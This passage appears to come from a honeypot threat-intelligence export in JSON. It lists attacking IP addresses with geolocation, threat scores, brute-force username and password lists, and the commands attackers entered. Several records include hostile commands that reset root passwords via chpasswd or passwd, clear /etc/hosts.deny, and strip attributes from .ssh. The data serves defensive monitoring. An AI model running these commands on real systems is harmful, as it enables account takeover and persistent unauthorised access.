      "as_org": "Teknet Yazilim Ve Bilgisayar Teknolojileri",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:38:40.304000+00:00",
        "last_seen_30d": "2026-05-10T04:40:02.767000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.237.188.61": {
      "attack_count": 2,
      "first_seen": "2026-05-27T05:01:13.753Z",
      "last_seen": "2026-05-27T05:01:26.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:01:13.753000+00:00",
        "last_seen_30d": "2026-05-27T05:02:30.703000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.248.161.186": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:15:12.561Z",
      "last_seen": "2026-05-09T21:15:26.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 272809,
      "as_org": "THUNDERNET, C.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:15:12.561000+00:00",
        "last_seen_30d": "2026-05-09T21:16:28.878000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.134.126.236": {
      "attack_count": 2,
      "first_seen": "2026-05-06T23:51:58.420Z",
      "last_seen": "2026-05-06T23:51:58.421Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T23:51:58.420000+00:00",
        "last_seen_30d": "2026-05-06T23:53:02.232000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.235.188.153": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:48:05.808Z",
      "last_seen": "2026-05-08T03:48:19.368Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 268206,
      "as_org": "Community Net Internet e Informatica",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:48:05.808000+00:00",
        "last_seen_30d": "2026-05-08T03:49:21.854000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.202.241": {
      "attack_count": 2,
      "first_seen": "2026-05-04T07:23:59.756Z",
      "last_seen": "2026-05-04T07:24:13.024Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Osasco",
      "asn": 268468,
      "as_org": "MXCONECT SERVICOS DE COMUNICACAO LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:23:59.756000+00:00",
        "last_seen_30d": "2026-05-04T07:25:17.354000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.29.172.61": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:33:23.685Z",
      "last_seen": "2026-05-04T09:33:37.302Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:33:23.685000+00:00",
        "last_seen_30d": "2026-05-04T09:34:40.859000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.176.12.104": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:53:28.069Z",
      "last_seen": "2026-05-25T18:53:40.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:53:28.069000+00:00",
        "last_seen_30d": "2026-05-25T18:54:49.594000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.232.32.218": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:31:46.282Z",
      "last_seen": "2026-05-08T19:31:59.435Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Solihull",
      "asn": 5413,
      "as_org": "Wavenet Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:31:46.282000+00:00",
        "last_seen_30d": "2026-05-08T19:33:06.843000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.37.246.239": {
      "attack_count": 2,
      "first_seen": "2026-05-06T12:45:36.290Z",
      "last_seen": "2026-05-06T12:46:07.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 42610,
      "as_org": "Rostelecom",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T12:45:36.290000+00:00",
        "last_seen_30d": "2026-05-06T12:47:09.608000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "93.184.13.147": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:12:54.832Z",
      "last_seen": "2026-05-05T11:13:07.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": null,
      "asn": 47253,
      "as_org": "BCI Telecommunication & Advanced Technology Company",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:12:54.832000+00:00",
        "last_seen_30d": "2026-05-05T11:14:19.440000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.32.162.151": {
      "attack_count": 3209,
      "first_seen": "2026-05-08T00:30:19.302Z",
      "last_seen": "2026-05-22T16:44:12.921Z",
      "sessions": 641,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "admin",
        "mysql",
        "hadoop",
        "nexus",
        "epsuser",
        "kryan",
        "master",
        "user",
        "hduser",
        "root",
        "loginuser",
        "azureuser",
        "nadiah",
        "public_django_project",
        "Admin",
        "ansible",
        "dbuser",
        "debian",
        "display"
      ],
      "passwords_attempted": [
        "12345678",
        "password",
        "123456",
        "1qaz@WSX",
        "root",
        "p@ssw0rd",
        "12345",
        "admin",
        "admin@123",
        "hadoop",
        "master",
        "q1w2e3r4",
        "qwer1234",
        "user",
        "admin123",
        "oracle123",
        "1",
        "123",
        "1234567890",
        "1q2w3e4r"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4723,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T00:21:17.402000+00:00",
        "last_seen_30d": "2026-05-22T16:45:19.882000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3209,
        "Suricata": 1514
      }
    },
    "47.86.165.202": {
      "attack_count": 1855,
      "first_seen": "2026-05-11T04:13:51.574Z",
      "last_seen": "2026-05-11T08:11:54.316Z",
      "sessions": 376,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "postgres",
        "test",
        "hadoop",
        "mysql",
        "oracle",
        "steam",
        "user1",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "ftp",
        "git",
        "minecraft",
        "amir"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "12345",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin123",
        "frappe",
        "rock",
        "test",
        "test123",
        "!Q@W3e4r",
        "!qaz@WSX",
        "0"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 2666,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:13:51.574000+00:00",
        "last_seen_30d": "2026-05-11T08:13:01.508000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1855,
        "Suricata": 811
      }
    },
    "145.239.8.177": {
      "attack_count": 1132,
      "first_seen": "2026-05-03T13:02:39.145Z",
      "last_seen": "2026-05-06T18:49:07.278Z",
      "sessions": 566,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 1705,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:02:39.145000+00:00",
        "last_seen_30d": "2026-05-06T18:50:07.919000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1132,
        "Suricata": 573
      }
    },
    "213.177.179.80": {
      "attack_count": 918,
      "first_seen": "2026-05-13T11:47:16.158Z",
      "last_seen": "2026-05-21T22:57:12.732Z",
      "sessions": 184,
      "ports": [],
      "usernames_attempted": [
        "root",
        "bardengineering",
        "kelltech"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "11111111",
        "121212",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "666666"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 1309,
        "days_active_30d": 9,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:47:16.158000+00:00",
        "last_seen_30d": "2026-05-21T22:58:15.482000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 918,
        "Suricata": 391
      }
    },
    "216.155.93.75": {
      "attack_count": 745,
      "first_seen": "2026-05-22T06:14:45.467Z",
      "last_seen": "2026-05-29T19:39:47.259Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin1",
        "aroot",
        "openkm",
        "teamspeak",
        "user",
        "admin",
        "arnaldo",
        "butter",
        "dev",
        "jy",
        "ldap",
        "leon",
        "linux",
        "minecraft",
        "nico",
        "omar",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "0000",
        "1",
        "111222333",
        "123...com",
        "123123123",
        "1233218613f",
        "1234",
        "1234.com",
        "12345",
        "1qa2ws#ED",
        "1qaz2wsx#EDC",
        "1qazZAQ!",
        "Admin#2026",
        "Cc123456",
        "Ctyun@12345",
        "Dd112211."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613f\\nVual1XNK0sVX\\nVual1XNK0sVX\\n\"|passwd",
        "echo \"123456\\nXk8j6BzmGFzo\\nXk8j6BzmGFzo\\n\"|passwd",
        "echo \"abcd1234\\nUgYAThBq7c89\\nUgYAThBq7c89\\n\"|passwd",
        "echo \"openkm\\nadcAFKPXcLJH\\nadcAFKPXcLJH\\n\"|passwd",
        "echo \"root:LU1Db3cB1a8P\"|chpasswd|bash",
        "echo \"root:t6Ru3zROFjLJ\"|chpasswd|bash",
        "echo \"root:zNpe08iuFa1z\"|chpasswd|bash",
        "echo -e \"1233218613f\\nVual1XNK0sVX\\nVual1XNK0sVX\"|passwd|bash",
        "echo -e \"123456\\nXk8j6BzmGFzo\\nXk8j6BzmGFzo\"|passwd|bash",
        "echo -e \"abcd1234\\nUgYAThBq7c89\\nUgYAThBq7c89\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Dalcahue",
      "asn": 14117,
      "as_org": "Telefonica del Sur S.A.",
      "threat_score": 45.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 904,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:14:45.467000+00:00",
        "last_seen_30d": "2026-05-29T19:40:48.317000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 745,
        "Suricata": 159
      }
    },
    "103.86.198.253": {
      "attack_count": 500,
      "first_seen": "2026-05-02T11:21:41.806Z",
      "last_seen": "2026-05-31T16:17:14.604Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "kafka",
        "odoo",
        "user1",
        "admin123",
        "compta",
        "cvsuser",
        "debian",
        "esuser",
        "ftpuser1",
        "gitlab",
        "guest",
        "minecraft",
        "server",
        "sshtunnel",
        "student",
        "tempadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "1",
        "11223344",
        "1233218613",
        "123456++",
        "12345678",
        "123456aA",
        "1234qwer!@#$",
        "4rfv$RFV",
        "6666",
        "666666666",
        "ABCabc123",
        "Aa1234567890@",
        "Hu123456",
        "Nm123456",
        "P@ssw0rds"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nB5Or2x02RplZ\\nB5Or2x02RplZ\\n\"|passwd",
        "echo \"123456aA\\nf9iPr0YfdN0D\\nf9iPr0YfdN0D\\n\"|passwd",
        "echo \"odooserver\\nQzSeM06cTpHq\\nQzSeM06cTpHq\\n\"|passwd",
        "echo \"root:hnP4xOG2k1Oh\"|chpasswd|bash",
        "echo -e \"123456\\nB5Or2x02RplZ\\nB5Or2x02RplZ\"|passwd|bash",
        "echo -e \"123456aA\\nf9iPr0YfdN0D\\nf9iPr0YfdN0D\"|passwd|bash",
        "echo -e \"odooserver\\nQzSeM06cTpHq\\nQzSeM06cTpHq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Gazipur",
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 64.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.9,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 618,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:21:41.806000+00:00",
        "last_seen_30d": "2026-05-31T16:18:15.805000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 118
      }
    },
    "103.143.238.100": {
      "attack_count": 494,
      "first_seen": "2026-05-02T22:23:19.665Z",
      "last_seen": "2026-05-15T04:20:50.985Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "git",
        "test1",
        "1",
        "administrador",
        "bpadmin",
        "brengoziscute",
        "d",
        "debian",
        "fecjl1yg",
        "ftpuser1",
        "g9q7jreo",
        "intel",
        "itadmin",
        "linux",
        "openvpn",
        "oracle10"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "linux123",
        "!1qazxsw2",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "1",
        "12",
        "123",
        "123123",
        "1234567",
        "123456Ab",
        "1qaz!QAZ",
        "21",
        "3sScGbQLYlTZvYdQqsZA",
        "Aa111111!",
        "Abc_123456",
        "Abcde.12345",
        "Digitalocean"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3V2UKilU88JU\"|chpasswd|bash",
        "echo \"root:9v3I8y0pKQJH\"|chpasswd|bash",
        "echo \"root:D2GCKAwoseer\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 636,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:23:19.665000+00:00",
        "last_seen_30d": "2026-05-15T04:21:59.041000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 494,
        "Suricata": 142
      }
    },
    "138.121.105.136": {
      "attack_count": 428,
      "first_seen": "2026-05-21T06:58:02.233Z",
      "last_seen": "2026-05-22T09:44:44.806Z",
      "sessions": 214,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 644,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:53:43.400000+00:00",
        "last_seen_30d": "2026-05-22T09:45:53.524000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 428,
        "Suricata": 216
      }
    },
    "181.39.158.30": {
      "attack_count": 361,
      "first_seen": "2026-05-24T00:49:08.033Z",
      "last_seen": "2026-05-28T19:14:47.959Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "redis",
        "rizal",
        "alfresco",
        "deployer",
        "erika",
        "gituser",
        "niti",
        "prueba",
        "server",
        "test2",
        "tomas",
        "unifi",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "!@#123qwe",
        "1234",
        "123456",
        "1236547890",
        "123qwe..",
        "A123a123",
        "Aa654321",
        "Admin123!",
        "Asdfghjkl;'",
        "L@y3rh0st2024",
        "Pa$$w0rd",
        "Qq112233..",
        "Qq1234567890",
        "Qqqq1111",
        "aditya123",
        "alfresco",
        "asd112233"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nLX5D1tHryAKP\\nLX5D1tHryAKP\\n\"|passwd",
